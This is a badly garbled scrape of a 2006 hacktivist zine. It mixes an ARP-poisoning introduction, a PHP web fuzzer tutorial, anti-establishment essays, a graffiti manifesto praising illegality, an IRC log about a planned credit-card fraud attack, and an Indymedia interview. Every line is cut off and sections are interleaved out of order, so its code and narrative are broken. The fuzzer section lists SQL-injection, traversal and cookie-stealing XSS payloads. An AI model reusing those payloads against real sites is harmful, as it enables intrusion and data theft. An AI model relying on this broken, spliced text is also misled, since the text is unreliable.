Introduction
This article is meant to teach how ARP works and how one ca
the ARP cache and enable them to completely sniff traffic c
network. This article assumes that you already have access
network. ARP Poisoning is a way of tricking computers over
send traffic through you before going to other computers or

Address Resolution Protocol(ARP)
ARP is a dynamic protocol to map a 32bit IP Address to a 48
address (MAC Address). If one system over a network wants t
another system over a network, it will first check if it al
systems MAC Address and if not it will send out an ARP broa
for the hardware address of the destination system. There a
messages but the main two are ARP Request and ARP Reply. Wh
broadcasting an ARP Message it sends out an ARP Request. An
message sent to the broadcast address, the message contains
Address and MAC Address and requests the MAC Address of the
it waits for an ARP Reply. An ARP Reply replies to the ARP
computer sending the ARP Request what its MAC Address is.

The ARP Cache is a temporary storage place that holds a tab
and IP Address's. If a computer wants to talk to another co
already have its MAC address stored it will send an ARP Req
that is sending the ARP Reply does not have the requesting
it as well will save it to cache. So now both computers hav
system cannot communicate with another until it has its MAC

ARP is a stateless protocol with no authentication built in
whether there was a request or not will update the ARP Cach
systems will accept an ARP Reply regardless if there was an

The Switch
Media Access Control (MAC) is a standard addressing system
devices. Most networks use switching devices and in a switc

Hack This Zine! 03

Digital Contraband

HackThisSite.org

2006

```
                          (substr($url, 7), 0,
                      +; " .                ace("\
                   \", "\                       _SERVE
                 +) {                               OS
              omme
             ept-
           n(\"
         t: M
         ko
         gt
       mmen          ed+%3Ala
         w=        "); }    mak
         ($      ), strpos(substr
         trpo    bstr($url, 7), "
         "\$"    \\$",str_replace("        \"",str_replac
           ERVE  'PHP_SELF'])))), 2);    for ($i=0;$i<2;$
  ($do        OST   ocation/example2.p    ubaction=showcom
ive=&sta      m=      & HTTP/1.1\r    ce      *\r\nAccep
nc    g: g     d        \nClient     <?php
        \"$sourc                   ?>\r\nUse
```

```
   Ma        en) Appl            6 (KHTML, li            fa
   ap    atio      w-form        ded\r\nConte            07
   \r\nHost: $domai    n\          xitup&mail
               mment&
                   l) {    loca                  tr($  l, 8
                       su  tr(substr($u    7), 0, str  s(su
                       h+   " . substr(str_replace("\  ,
                   "\\",     \",file_get_contents($_S  VER[
       i=0;$i<2;$i++)         = make_request($domain      T
       on    wcom               88313&archive=&sta
       r\             uage: en\r      pt-Enc       gzip, def
         pe      kret.p      \"w\")          fp, \"  ource\
         t: M  illa              h; U; PPC Mac
         ko) Safa                    pe:


!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
"see you on the front page of the last newspaper those moth
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                    .___.__          .__   __           ._
                   __| _/|__|   ____  |__|_/  |_ _____   |
                  / __ | |  |  / ___\ |  |\   __\\__  \  |
                 / /_/ | |  | / /_/  >|  | |  |   / __ \_|
                 \____ | |__| \___  / |__| |__|  (____  /|_
                      \/     /_____/                   \/
                          __                    ___.
  ____    ____    ____  _/  |_ _______ _____    \_ |__  ____
_/ ___\  /  _ \  /    \ \   __\\_  __ \\__  \    | __ \ \__
\  \___ (  <_> )|   |  \ |  |   |  | \/ / __ \_ | \_\ \ / _
 \___  > \____/ |___|  / |__|   |__|   (____  / |___  /(___
     \/              \/                     \/      \/

    Electronic Civil Disobedience Journal !! Published by H
       (a)nti copyright. distribute as freely as the wind a
```



```
            $whichparam = $get[$o];
            $testing = $url . "?";
            // put together the default values for all the
the script
            for ($z=0;$z<count($get);$z++) {
              if ($get[$z] != $whichparam)
$testing.="&".$get[$z]."=".$getvalue[$z];
            }
            $testing .= "&" . $whichparam . "=" . $vulnchar

            $fun = MakeRequest($testing);
            if ($parseforlinks == true) ParseForLinks($fun)
            $error = TestResult($fun);
            if ($error != 0)
              echo "    FLAG! .. $testing$newline";
              if ($error == 0 and $verbose == true)
                echo "    OK    .. $testing $newline";
            }
          }
        }
      }
    }

This code is the bare essentials to writing a web GET reque
loads of features which can expand this script to be a more
auditing tool. For starters, the script can be written to r
URL and spider it for additional URLs in <a href="http://$h
added to the $list array. It can also be expanded to includ
including POST, SSL, cookies, and file upload vulnerabiliti
fuzzer is a rewarding programming exercise where the possib


[-------------------------------------------------------------
[ arp poisoning .....................................
[-------------------------------------------------------------
```

```
  }
  return 0;
}
```

Having all the pieces we need, it's time to write some code
together. The following code uses the array $lists to conta
It first parses the URL for all GET parameters to fuzz and
all possible combinations of unique URLs. It goes through e
tries each malicious character while using the default valu
parameters. The total number of requests should be around N
$list where N is the number of GET parameters in each URL).
for each unique URL and passes the results off to TestResul
match against one of the error codes from $flag.

```
    for ($inc=0;$inc<count($list);$inc++) {
      if ($localonly == true AND (substr($list[$inc], 0, 17
"http://localhost/" AND substr($list[$inc], 0, 17) != "http
die("Sorry, this script can only be tested against localhos

      // SetUpParameters parses and stores each GET paramat
the array $get and $getvalues
      $url = SetUpParameters($list[$inc]);
      if (trim($url) != "") {
      echo "$newline$url$newline";
      // go through each kind of vulnerability we are testi
      for ($vulni=0;$vulni<count($vulnchars);$vulni++) {
        switch ($vulni) {
          case 0: echo "  * General web vulnerabilities$new
          case 1: echo "  * SQL vulnerabilities$newline"; b
          case 2: echo "  * XSS vulnerabilities$newline"; b
        }
        // go through each GET parameter in the URL
        for ($o=0;$o < count($get);$o++) {
          for ($i=0;$i<count($vulnchars[$vulni]);$i++) {
            // generate url from list of vulnerable charact
```



```
                    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
                    !!!  HACK THIS ZINE SPRING 2006   !!!
                    !!!     TABLE OF DISCONTENTS      !!!
                    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

"Globalizing a bad thing makes it worse. Business power is
it is worse. But globalizing a good thing is usually good.
sharing of knowledge are good, and when they happen globall
better. The kind of globalization there are demonstrations
globalization of business power. And free software is a par
It is the expression of the opposition to domination of sof
software developers."

Richard Stallman

[dismantling the copyright industry ..... disre
[black and white chicago 2600 .....
[graffiti and counter-culture ..... the

CLOSING STATEMENTS

[hack this zine: spring 2006 ... happenings ... make conta

HACK THIS ZINE SPRING 2006 is FREE TO COPY AND D
GET ELECTRONIC VERSIONS AT HACKTHISSITE.ORG/
CONTACT WHOOKA@GMAIL.COM OR IRC.HACKTHISSITE

!!!!!!!!!!!!!!!!
!!! THEORY !!!
!!!!!!!!!!!!!!!!

"Whether through simple data piracy, or else by a more comp
actual rapport with chaos, the Web hacker, the cyernetican
Autonomous Zone, will find ways to take advantage of pertub
breakdowns in the Net (ways to make information out of "ent
of information shards, smuggler, blackmailer, perhaps even
TAZ-hacker will work for the evolution of clandestine fract
connections, and the different information that flows among
will form "power outlets" for the coming-into-being of the
were to steal electricity from the energy-monopoly to light
for squatters." - Hakim Bey, Temporary Autonomous Zone

[---
[hackers, crackers, artists & anarchists .....
[---

We started the Hack This Site project to spread the idea th
demands to be free and by providing hackers with hands on t
people how to use their skills for positive uses of free te
meeting up with others who were working on similar projects
people were inspired to turn skills to action from the firs


```
    $host = substr($url, strpos($url, "://") + 3);$host=sub
0,strpos($host, "/"));
  $request = substr($url, strpos($host, "/"));

  $fp = @fsockopen($host, 80, $errno, $errstr, 10);
  if (!$fp) {
     echo "    ERROR . $url $errstr ($errno)$newline";
  } else {
     $out  = "GET $request HTTP/1.1\r\n";
     $out .= "Host: $host\r\n";
     $out .= "Connection: Close\r\n\r\n";
     fwrite($fp, $out);
     while (!feof($fp)) {
         $buf.= fgets($fp);
     }
     fclose($fp);
    }
  }
  return $buf;
}
```

Now that we can get results from the HTTP server for our ma
need to run it through a function to scan it for the error
The following function returns true if the $result has any
$flags array.

```
function TestResult ($result) {
  global $flags;
  $result = strtolower($result);
  for ($i=0;$i < count($flags);$i++) {
    for ($o=0;$o < count($flags);$o++) {
      if (!(strpos($result, $flags[$i][$o]) === false)) {
        return 1;
      }
    }
```

```
// malicious web requests
$vulnchars[0] = array("%00","%2527%252esasdf","%u0000",
"%u5c00%u2700","/","../",".//..././","/%2e/", "%2e","%5C","%
"%%%%%%","!!!!!!!!!!!!!!!!!!!","#", "%5C27","%%5C%56" , "\'"
"\?>", "%a0");
// malicious sql requests
$vulnchars[1] = array(" OR 1=1", "' OR '!'='!");
// malicious xss requests
$vulnchars[2] = array("javascript:alert(String.fromCharCode
"<script>alert('cookies, yo: ' + document.cookie);</script>
```

We would then make all possible combinations of web request
output. Scan the results for an array of common error code
list of 'flagged' URLs to be later reviewed for auditing pu
together the following array which contains a list of commc
errors.

```
$flags[0] = array("<b>warning</b>:", "warning:", "<b>fatal
to open stream:", "internal server error", "there was an er
this directive.", "http/1.1 400", "http/1.1 403", "http/1.1
error", "command not found", "file not found");
$flags[1] = array("[obdc", "mysql error", "you have an erro
syntax", "odbc drivers error", "[microsoft sql", );
$flags[2] = array("javascript:alert(string.fromcharcode(65,
"<script>alert('cookies, yo: ' + document.cookie);</script>
```

Now that we know what kind of requests to make and what we
output for, we can write some PHP code which will query the
requests. In this example, we are only making GET requests,
modified ti include other HTTP methods.

```
function MakeRequest($url, $method="GET") {
  $url = str_replace(" ", "%20", $url);
  if ($method=="GET") {
```


released, we decided to get together and start Hackbloc.

Hackbloc are local gatherings of with hackers and activists
affinity group of hacktivists, and a tactic at protests and
act to defend a free internet and a free society by mixing
strategies to explore both defensive hacktivism (defending
open publishing systems) and direct action hacktivism (acti
corporations, governments and other forms of fascism). Hack
decentralized network of cells which collaborate and coordi
solidarity with other social justice struggles around the w

We met up at various actions and gatherings around the coun
network with other hackers and activists. We handed out und
magazines at guerrilla tables at DEFCON. We have had severa
parties in Chicago where dozens of hackers around the regio
play wargames, pick locks, swap code, and otherwise plot fo
actions. We got together to hold huge protests in both DC a
the World Bank / IMF meetings where several hundred thousan
anti-war and anti-capitalists protests. The more we started
actions with others who were working on similar projects, t
realize how different struggles all over the world are conn

Battles in the courtrooms over political and hacker arrests
of multiple people all over the world provide valuable less
considering getting involved, playing the game, and organiz
communities. In order to be safe and effective, we need to
security culture by working only with trusted people in tig
affinity groups, maintain a mainstream front to recruit peo
projects, and work to settle differences between potential
the greater good.

As people who can see beyond and create alternatives to cor
are in a unique position to confront and fight the forces w
rights and a free internet. Independent media, free technol
non-commercial internet creates temporary autonomous zones

network of hackers who's duty and responsibility includes t
confront and fight these injustices - to defend hackers fac
corporate and government corruption, find alternatives to c
share knowledge and talk tactics with potential allies.

We are not the violent, destructive madmen that law enforce
paints us as. We work to build a free internet and a free w
be bullied by right wing extremists, white hat sellouts, or
stand in the way. Hacktivists of the world, unite!

--

"The FBI COINTELPRO program was initiated in 1956. Its purp
later by FBI Director J. Edgar Hoover, was "to expose, disr
discredit, or otherwise neutralize activities" of those ind
organizations whose ideas or goals he opposed. Tactics incl
labelling individuals as informants; infiltrating groups wi
to disrupt the group; sending anonymous or forged letters d
strife between groups; initiating politically motivated IRS
carrying out burglaries of offices and unlawful wiretaps; a
other government agencies and to the media unlawfully obtai
information on individuals and groups."

We are facing unprecedented police state measures which spe
activists and hackers. In the name of national security, fe
has been spying on, targetting, and harassing activists inc
animal rights, and earth first and other protest groups. Wh
the form of the USA Patriot Act, expanded Homeland Security
Information Awareness, enemy combatants, military tribunals
authorizing the NSA to spy on Americans without court order
actions reveal a pattern of abuse and the transition to a n
state which treats hackers and activists as terrorists. Whe
breaks the law and walks all over the constitution, it is t
change.

If you're living the life of a true graffiti artist, you're
you have created for yourself.

And what this means is...

Graffiti shouldn't be in ads and ads shouldn't be in graffi
Graffiti in an ad is an ad. It's not graffiti.
Graffiti done legally is public art sanctioned by the estab
graffiti.

For graffiti to be graffiti, it has to be done illegally.

Period.

```
                                !!!!!!!!!!!!!!!!
                                !!!  SKILLS  !!!
                                !!!!!!!!!!!!!!!!
```

```
[ ----------------------------------------------------------
[ writing a php fuzzer to self-discover web vulnerabilities
[ ----------------------------------------------------------
```

Fuzzers are tools which can audit code and probe systems fo
vulnerabilities. For the purpose of this article, we will w
functions for a PHP script which will fuzz the GET paramete
trigger error codes and discover potential vulnerabilities.
possibilities of expanding the functionality to become a br
all-emcompassing web vulnerability auditing tool.

Our web fuzzer works by taking a URL and manipulating each
every possible combination of requests with an array of mal
designed to generate errors. Consider the following array w
selection of common requests which often generate errors an
up to security holes.

Because you don't have any resources given to you by the ma
establishment that you rejected, the only way you can survi
yourself. The way you do this is to develop your own person
allows you to survive in a world that is outside "the norm"
drives you. Not money. Not a house with a white picket fenc
The code is what gives you piece of mind when things get to
you to go to jail for your actions and then get right back
once again.

It's the code that stops you from going crazy.
So where do you develop this code?
You develop it on the streets.
You learn it from watching and talking to others.
But most importantly, you get it from experiencing life.

And that's why graf culture is so powerful to people who do
experience life to the fullest. You are truly alive, riskin
rejecting the establishment, but living your life the way y
You have real, true freedom.

As you experience life on the street you begin to pick up e
were little scraps of paper. And you start to make a collag
experiences. You put all of the scraps together and it becc
fabric that defines who you are.

You are defined by reality, not by television.
You are defined by experience, not by aspiration.
It's your code and nobody elses. And nobody can take it awa
And now, suddenly, you have a weapon.
The code itself becomes your weapon.

Your life is on the street. And there's an order to it. You
are meant to be. Things are where they should belong. Ads g
Graffiti goes on walls and doors. The two co-exist. They cl
where they each should be.

[----------
[support hairball against unjust felony charges ..... hac
[----------

Federal prosecuters are accusing Michael Wally(known as "Ha
Pittsburgh of 'stealing' and distributing 37,000 free phone
giveaway, citing damages at over $333,000. As of this writi
is offering Hairball a deal where he would plead guilty to
serve up to three years in jail.

Folgers.com was giving away free 30 minute phone cards on i
of an online promotion to people who filled out a quick sur
Hairball found a way to automate the process and get lists
What is unclear about these accusations is whether this is
offense or simply a violation of Folger's terms of service
case).

Hairball, having started HBX Networks, was a popular target
authorities. HBX has started a number of computer hacking p
the free shell project, the HAXOR radio show, wardialing pr
IRC server, and more. Hairball has contributed positively t
community, but has fallen victim to unjust prosecution with
sentencing.

As part of a new trend in cyber crime and law enforcement,
are treated like terrorists and are often subject to illega
unjust investigation, prosecution, and sentencing. Robert E
Pittsburgh High Tech Crimes Task Force has personally raide
Hairball multiple times, including an earlier incident in l
relating to HBX's wardialing project. His case has since be
federal authorities, and is now facing several years in jai
restitutions for hurting or stealing from nobody.

Hairball has always worked to defend free technology and ha
of people to learn about computers and hacking. If Hairball

great crime will have been committed against the hacking cc
reactionary federal prosecutors. We need to stick together
comrades facing jailtime and write letters, make phone call
spread the word about unjust hacker prosecution.

THEY'RE IN THERE FOR US, WE'RE OUT HERE FOR THEM

Hackers considering starting a Hacker Defense Network shoul
prison support networks for setting up legal support.

www.prisonactivist.org www.spiritoffreedom.org.uk www.anarc
www.abcf.net www.booksnotbars.org www.prisonbookprogram.c

.---
| Session Start: Friday, 4 February 2005
| Participants:
| narc (narc@narc.net)
| Kfir (kfiralfia@hotmail.com)
.---
[07:24:40 PM] Kfir: hello there.
[07:25:09 PM] narc: hi. I'm not liable for prosecution, or
              anything, based on the logs I sent you?
[07:25:32 PM] narc: that concerns me.. I'm willing to help
              every capacity possible, but that's one thing
              avoid
[07:26:00 PM] Kfir: I'm not sure... but i can't imagine any
              prosecute someone who is walking away, and he
              the mastermind
[07:26:13 PM] narc: well. I never actually intruded on your
              system
[07:26:19 PM] narc: all I did was notice an exploit in the
[07:26:19 PM] narc: heg
[07:26:21 PM] narc: heh*
[07:26:41 PM] Kfir: I tell you what though, i would fight t
              nail to prevent your prosecution.

illegal activity from the police, and he knew his consequen
this information. However reasons not known to us, he told
this, we thank you)

The officer also got us interested by the current case that
the time. Operation ÒMirrorÓ Ð This operation called for th
of computer Experts within the force to implant Key logging
suspects as well as Sinn Fein Politicians. This software wa
several methods. By finding computers that the Suspects use
loading the software onto the computer in front of them, or
way of inserting this software onto the Suspects and Politi
remotely (i.e. HACKING).

The officer told us, that none of this was legal, and none
permission from the Chief Constable. However the team were
secret. Another interesting point was that the data obtaine
was used to Black Mail the suspects. They also found Credit
illegal checks on their purchases.

This says a lot about the Northern Ireland Police Service.
low as to perform illegal acts in order to Blackmail and in
people. However this isn't just an isolated case in Norther
over the world.

[---
[graffiti and counter-culture .... the
[---

The graffiti movement is by its very nature a counter-cultu
anti-establishment mindset that is an alternative to the ma
rejection of the status quo.

When you decide that you are going to go up against the est
you have is yourself. The only way you can survive is to pr
you don't protect yourself, you die. If not literally, then

Capture The Flag (Fedora Systems Used)
Hack the Hotel (A successful bid to take over the Hotels I
The Hammond Files (An in-depth Discussion into his situati
Hackthissite Ð (Discussion into Origins, success's , Failu
Presentations on Bluetooth Hacking
Presentations on the Northern Ireland Hackers (Growth, Ski

All in all it was a fantastic day, however as most of you D
goers know, the real stuff doesn't happen until the con is
to talk.

As I was one of the organisers, I was getting a lot of peop
talking about different things. However one man in particul
attention; he said he was a Police Officer working in the C
things Ð Forensics, Stings etc. So I immediately offered hi
other organisers and myself for the usual post-con pint of

As usual the topic of Politics came up, and obviously his v
interesting due to his occupation. Progressively we turned
around to the IRA (Army sworn to keep Ireland Free from Bri
create a united Ireland). The officer started to talk about
certain operations against the IRA (Strictly of the Record

One of the operations he only heard about was the tapping o
Office (Sinn Fein the political Wing of the IRA). When Sinn
offices at night, the Special Agents would break into the o
little bugging devices so they could hear the Sinn Fein Lea
was this not authorised but also HIGHLY illegal.

(picture)

This is part of a British MI5/PSNI bugging device found hid
floorboards of a Sinn Fein office in Belfast in September 2
inches by 6.5 inches.
(At this point I may tell you that this officer was totally

[07:26:55 PM] narc: I don't *think* that's a criminal offen
[07:27:15 PM] Kfir: i would rather not prosecute anyone if
going to go down - you are helping us tremend
you are preventing some very serious criminal
[07:27:47 PM] Kfir: i am in the process of trying to get al
credit card numbers fraud blocked.
[07:27:55 PM] Kfir: it's not easy work, but i need some tim
[07:27:58 PM] narc: yeah
[07:28:01 PM] narc: I can imagine
[07:28:04 PM] Kfir: is there any way you can postpone the c
a couple of days?
[07:28:08 PM] narc: yes
[07:28:13 PM] narc: he's stymied at the moment
[07:28:19 PM] narc: he's putting it off til at least sunday
[07:28:23 PM] narc: maybe later in the week
[07:28:28 PM] Kfir: good.
[07:28:50 PM] Kfir: i'm going to need that much time to mak
one gets defrauded. i don't give a damn abou
server at this point.
[07:29:10 PM] narc: yeah... he already had SQL dumps by the
he contacted me
[07:29:16 PM] Kfir: he can have the goddamned thing. it's
we're going to pack our bags and dissappear.
[07:29:17 PM] narc: so I don't quite know how he obtained t
[07:29:34 PM] narc: yeah, well, from what I gathered from r
processes he pasted, you were backing the box
[07:29:35 PM] narc: heh
[07:30:15 PM] Kfir: If i'm going to get the fbi to listen t
credible witness would be a long way. If you
gauranteed from prosecution, would you cooper
authorities?
[07:30:40 PM] narc: yeah
[07:30:43 PM] Kfir: yeah, i have the entire server tar ball
safely stored for future use.
[07:30:58 PM] narc: but this may cause problems insofar as

rather not have him know who I am
[07:31:06 PM] Kfir: does he?
[07:31:09 PM] narc: no
[07:31:10 PM] narc: he probably has a LOT of sway with cert
people
[07:31:55 PM] narc: he's made a lot of contacts in the scen
knows many, many security experts, and probab
plenty of militant activists too
[07:31:56 PM] Kfir: Jeremy can get into very big trouble -
kid, and i would hate to see a man with obvic
be sent to prison.
[07:32:30 PM] narc: yeah... I'm only 18
[07:32:31 PM] Kfir: but this credit card business is just c
really don't understand what would drive some
something so foolish.
[07:32:49 PM] Kfir: wow...
[07:33:09 PM] Kfir: kids today... i need to bone up on my s
knowledge.
[07:33:47 PM] narc: if there's one thing he is, it's willin
goto prison
[07:34:09 PM] narc: his beliefs consume everything he does
[07:34:23 PM] narc: not fundamentally that different from y
average Islamic terrorist, I guess.
[07:34:33 PM] Kfir: i started coding HQ and administering t
server without much experience. after readin
i can see how much there is to learn - it alm
like it would take a full-time concentration
[07:35:20 PM] Kfir: so why did you agree in the first place
obviously have moral fiber... why destroy oth
property?
[07:35:29 PM] narc: I never planned to
[07:35:38 PM] narc: I was going to see where it was heading
[07:35:47 PM] narc: showing him an exploit seemed like a gc
to gain his trust
[07:36:12 PM] Kfir: oh..

demonstrations?

UK: Yeah, Bristol is fairly seperate collective of the UK,
learned the lessons UK IndyMedia have, which is a shame.

Jeremy: What do you have to say to people who are just begi
involved, just starting to understand these issues. What wo
effective way to educating themselves as well as plugging i
collectives and people who are involved to take a more acti

UK: The biggest thing is to just sit down and start reading
out how IndyMedia functions, how the global groups decide t
Then come find us - we are there!

Jeremy: Great! I thought this was very productive. Anything
say?

Gary: I'd like to say one thing. Thank YOU for putting your
property at risk for the free exchange of digital informati
hero and you're putting everything on the line - there's no
they won't be busting down your door next. So I admire you
to you. It takes a hundred heros like you to keep this move

UK: There are many of us - in places people wouldn't expect

[--
[misadventures of irish hackers ....
[--

At the first ever Northern Ireland Computer Security Enthus
(NICSE CON) held in the Europa Hotel Belfast saw the amalga
14 Computer Science Professors, 19 System Administrators, a
All with the common goal to seek and learn new security Inf

The Con held many activities such as

sniffed the wire effectively and the ISP told IndyMedia it
But yeah, it's bound to happen.

Alxciada: How long ago were your servers actually taken?

UK: Trying to think, I believe it was last June

Jeremy: What do you think about the raid that happened abou
Bristol?

UK: That's even worse and that's one of those things that a
Indymedia needs to move toward encryption circuits and publ
can't tie back to who precisely posted what. The Italian ca
that is they didn't realize how content is distributed.

Jeremy: What were the circumstances behind the Bristol serv
they also looking for server logs?

UK: Yeah, that was a case where a radical collective did sc
destroyed some property and police became involved. My unde
someone from IndyMedia tipped off the police.

Jeremy: So they broke concensus with the larger group, went
police, and that caused the server as a whole to be seized?

UK: Yeah, and that was hosted in someone's house as well, s
their place.

Alxciada: Did they have any mirrors?

UK: They had another backup but it wasn't actively updated.
to get a hold of someone with the Bristol project. The serv
it is difficult to actually switch over the backups.

Jeremy: The seizure in Bristol happened about a week before

[07:36:25 PM] Kfir: so does he not have root access at this
[07:36:32 PM] narc: nope
[07:36:44 PM] Kfir: is he waiting for the bots to restart?
[07:36:47 PM] narc: I've had the distinct impression in the
and a half that I have known the guy that he
to a lot more than it seems
[07:36:49 PM] narc: turns out I was right
[07:37:48 PM] narc: besides, the exploit I gave him never q
worked
[07:38:28 PM] narc: I knew it'd work on the test copy of th
he'd setup, but not on your box -- diff ver o
command line binary
[07:38:53 PM] Kfir: so is he waiting for the bots to fire u
[07:39:08 PM] narc: I believe so
[07:39:28 PM] narc: but believe me, that flaw was very, ver
minor... even exploiting is well past most pe
capabilities, as the vast majority of shell
metacharacters were prohibited
[07:39:40 PM] Kfir: do you have any details as to his plans
pw server to launch the cc charge exploit?
[07:39:41 PM] narc: you ran a pretty good system
[07:39:49 PM] narc: from what I've seen
[07:39:59 PM] Kfir: that's rob's work... i mainly work on t
code.
[07:40:04 PM] narc: yeah
[07:40:10 PM] narc: well, your PHP code had few flaws
[07:40:12 PM] narc: if any...
[07:40:15 PM] narc: Xec never found any
[07:40:33 PM] Kfir: yeah, we were very careful in our patch
the RNC hack
[07:40:59 PM] Kfir: we made sure no malicious chars were al
enter an sql query.
[07:41:13 PM] narc: his own site had a few billion holes
[07:41:24 PM] Kfir: hts.org?
[07:41:36 PM] narc: yeah

[07:41:51 PM] narc: I got involved with them to learn, not
down the opposition's political speech
[07:41:57 PM] Kfir: i trained on his site about a year ago.
[07:42:11 PM] Kfir: agreed - let the best ideas win.
[07:42:37 PM] Kfir: not the best gun.
[07:42:47 PM] narc: I don't think he realizes that he has b
precisely what he purports to despise so much
[07:43:11 PM] Kfir: no offense to you, but that seems to be
typical of those we encounter on the "other s
[07:43:32 PM] Kfir: you seem extremely mature for an 18-yea
almost hard to believe.
[07:43:42 PM] Kfir: But you Aussies always were a breed apa
[07:44:10 PM] narc: heh... I just started college, I don't
much interest in going down for some stupid h
offence
[07:44:42 PM] Kfir: i think he's intoxicated by the glory o
"underground hacker".
[07:44:59 PM] Kfir: he's in love with this romantic notion
down the "fascists".
[07:45:02 PM] Kfir: very deluded.
[07:45:02 PM] narc: no glory in destruction, or so I've fou
[07:45:38 PM] Kfir: do you have any details as to his plans
pw server to launch the cc charge exploit?
[07:45:51 PM] Kfir: i noticed he mentioned that in the logs
[07:46:12 PM] narc: yes, he wanted me to write scripts to d
[07:46:14 PM] narc: still does, I guess
[07:46:30 PM] narc: but that's been delayed by the fact the
exploits have mysteriously disappeared
[07:46:40 PM] Kfir: so will you postpone that as much as yo
without him knowing your postponing?
[07:46:57 PM] Kfir: assuming he finds another exploit?
[07:47:04 PM] narc: he won't know. he's paranoid; believes
the feds are probably already watching him
[07:47:14 PM] narc: probably are, too, given his history
[07:47:19 PM] narc: they've tried to pin a lot of stuff on

UK: I think the biggest thing is to get hackers to understa
Hackers at the end of the day don't break things. It doesn'
the political ramifactions of their actions. The only time
it as a community is when - the cisco case, something happe
pulled, someone shits in their pants, but nobody takes the
term basis. That's frustrating and it needs to change. What
in Europe right now, their talk list is a lot more encompas
time with other issues than security per say, like the DMCA
they think behind the box, and as a hacker community, we al

Jeremy: I would certainly agree of your critique, especiall
seems more like a white hat drunken party, there's not as m
only 10% of the people here are maybe hackers anyway, every
for the culture, the sideshow. How do you think things have
past few years in light of some of the new policies and ant
legislation? How do you think the hacking community has cha
radicalized?

UK: I think the UK and Europe is certainly starting to pick
unlike America where you have a huge great community, Europ
that's one of the things that is being worked on right now,
constitution, declaration of human rights, that kind of thi
involved. The people in the ground need to get it done and
lot of success recently and we need to learn from it.. If E
bond together, we can stop bad legislation, but we need to
too frequently this hasn't happened.

Jeremy: I'm looking at past conventions like Hackers on Pla
happened last summer. It was held in New York City a month
National Convention, so naturally it was a lot more politic
thought it was a lot more independent, more genuine, talkin
and digital rights and how we can protect systems such as I
they actually had an IndyMedia speech and several other pol

UK: What the Hack was the same way. Italian government agen

UK: One thing I will say while I've got the opportunity is
private list for IMC techies. It's a fairly rigorous proces
but if anyone finds an issue, dump it straight to the peopl
it imc-security@lists.indymedia.org is the place to dump in
there have a web of trust where you can't get in unless two
for you.

Jeremy: How do you think right-wing hackers and script kidd
the open disclosure policy of dadaimc?

UK: I can't really talk much about that unfortunately it's
been involved with. Certainly people we're working with are
dadaimc line by line.

Jeremy: How can hackers play a more integral role in the de
protection of this software?

UK: I think the trick is really just to get involved. To ge
where you're a member of the trusted team takes a little bi
there's nothing to stop people..

Jeremy: Yeah, cause they can still just download the source
auditing.

UK: Yeah, but one thing we don't want happening this has ha
We had a guy portscanned all 13 of the UK mirrors. Now in a
things we knew about, but on the other hand we don't want t
start scanning our boxes because it generates extra process
happier for people to work with us and communicate with us
doing this knd of thing- if anything so we don't block them

Jeremy: I had personally installed it on localhost. How can
rights activists collaborate and work together in order to
and help take the battle to the courts?

failed
[07:47:25 PM] Kfir: has he broadcasted the cc#'s yet?
[07:47:34 PM] narc: no. that waits until the charges occur
[07:47:41 PM] narc: then he plans to release them to crypto
and P2P networks
[07:47:49 PM] narc: as well as using his media contacts to
wide publicity
[07:47:54 PM] Kfir: well, at that point, they'll be useless
[07:47:59 PM] narc: yeah
[07:48:06 PM] narc: but I think the point is a "moral victo
[07:48:08 PM] narc: or so he says
[07:48:09 PM] Kfir: how does he plan to get publicity while
anonymous?
[07:48:24 PM] narc: anonymous remailers/his bounce servers,
guess.
[07:48:36 PM] Kfir: will an official organization take cred
[07:48:38 PM] narc: unless he's caught in the act, it'll ta
months of subpoenas to prove it was him
[07:48:43 PM] narc: yeah
[07:48:44 PM] narc: ILF
[07:48:48 PM] narc: ("Internet Liberation Front")
[07:48:51 PM] Kfir: why months of subpoenas?
[07:48:57 PM] narc: international servers...
[07:49:00 PM] narc: most aren't domestic
[07:49:16 PM] narc: and he plans to get someone else to wip
lot to break the chain
[07:49:29 PM] narc: he might not be that talented at hackin
se, but he knows how to cover his tracks
[07:49:30 PM] Kfir: well, the logs are fairly incriminating
[07:50:00 PM] narc: I'm almost certain he'd get away with i
hadn't contacted you
[07:50:10 PM] Kfir: no argument there.

[----------
[fighting the commercialization of the internet .....

[----------

As hard as corporations and governments try to control the
internet, they can never catch up with hackers who are alwa
have developed all sorts of ways to circumvent restrictions
information freely. An ever-growing number of darknets and
content distribution have been created using file sharing s
Gnutella and BitTorrent, open publishing systems such as In
open DNS systems such as OpenNIC and Afraid.org. These DIY
bought, sold, or otherwise controlled and are unstoppable w
only make copyright and commercial internet irrelevant, but
developing entirely new networks, pirate utopias based on a
anarchist approach towards the free exchange of information

"Quantity and quality of P2P technologies are inversely prc
to the numbers of lawsuits issued to stop P2P" - 3rd Monty'

--
Gross privacy violations are a small part of fundamental pr
is structured. In a paper published at kuro5hin.org, "An In
outlines the broader problems with ICANN's DNS model:

* DNS is centrally controlled by an organization (ICANN) wh
is supporting business, rather than in maintaining and impr
itself and whose primary claim to legitimacy is through del
country's government (USA).

* The system is managed by a single for-profit corporation
enough but registrations are managed by many competing for-
NSI is also primarily legitimized by delegation from a sing
again, naturally).

* The Intellectual Property laws of a single country (there
being used inappropriately to control the activities of use
parts of the Net (corporate control of the .net and .org dc

indymedia needs to be aware of that and try to survive it.

Jeremy: How are people within hacking and programming commu
support the project?

UK: In the last 3-4 months we started to put together as se
through each of the servers, each of the code bases, and wo
the weaknesses. I think historically IndyMedia has been pre
more interested with people being able to publish freely an
about the security of their systems in which the puiblising
changing, very quickly.

Jeremy: That brings me back to a couple months ago - there
vulnerabilities - one happened during the RNC with the cros
error in dadaIMC - a group calling itself RightWingExtremis
this during the RNC by changing many indymedia sites to red
said 'indymedia is anti-american' or something crazy! [kill

UK: The system we're using in the UK is very resiliant, it'
guy's done a good job we haven't seen too many problems

Jeremy: Which one are you using?

UK: We're using Mir, it's been pretty responsive.

Jeremy: I believe DadaIMC had had the most problems ..

UK: Yeah, Dada has had a clear history of problems, I agree

Jeremy: A few months ago I had spoken to Spud regarding a v
discovered DadaIMC regarding uploading and excecuting PHP f
notified them of this vulnerability and said, "listen we ne
until each independent IMC staff is privatley notified and
it's a big job and it's not something that'll happen overni

liable?

UK: Well it's very interesting and actually very simple. We
